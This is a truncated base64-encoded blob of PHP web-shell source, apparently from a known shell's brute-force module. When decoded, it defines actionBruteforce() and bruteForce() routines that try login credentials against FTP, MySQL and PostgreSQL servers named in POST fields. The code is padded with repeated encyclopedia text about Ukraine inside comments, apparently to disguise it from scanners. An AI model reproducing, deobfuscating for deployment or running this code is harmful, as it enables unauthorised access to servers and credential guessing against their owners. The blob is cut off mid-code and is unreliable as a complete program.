mF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCmZ1bmN0aW9uIGFjdGlvbkJydXRlZm9yY2UoKSB7CglwcmludEhlYWRlcigpOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCWlmKCBpc3NldCgkX1BPU1RbJ3Byb3RvJ10pICkgewoJCWVjaG8gJzxoMT5SZXN1bHRzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNwYW4+VHlwZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3Byb3RvJ10pLicgPHNwYW4+U2VydmVyOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc2VydmVyJ10pLic8YnI+JzsKCQlpZiggJF9QT1NUWydwcm90byddID09ICdmdHAnICkgewoJCQlmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsKCQkJCSRmcCA9IEBmdHBfY29ubmVjdCgkaXAsICRwb3J0PyRwb3J0OjIxKTsKCQkJCWlmKCEkZnApIHJldHVybiBmYWxzZTsKCQkJCSRyZXMgPSBAZnRwX2xvZ2luKCRmcCwgJGxvZ2luLCAkcGFzcyk7CgkJCQlAZnRwX2Nsb3NlKCRmcCk7CgkJCQlyZXR1cm4gJHJlczsKCQkJfQovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQl9IGVsc2VpZiggJF9QT1NUWydwcm90byddID09ICdteXNxbCcgKSB7CgkJCWZ1bmN0aW9uIGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgewoJCQkJJHJlcyA9IEBteXNxbF9jb25uZWN0KCRpcC4nOicuJHBvcnQ/JHBvcnQ6MzMwNiwgJGxvZ2luLCAkcGFzcyk7CgkJCQlAbXlzcWxfY2xvc2UoJHJlcyk7CgkJCQlyZXR1cm4gJHJlczsKCQkJfQoJCX0gZWxzZWlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ3Bnc3FsJyApIHsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJCWZ1bmN0aW9uIGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgewoJCQkJJHN0ciA9ICJob3N0PSciLiRpcC4iJyBwb3J0PSciLiRwb3J0LiInIHVzZXI9JyIuJGxvZ2luLiInIHBhc3N3b3JkPSciLiR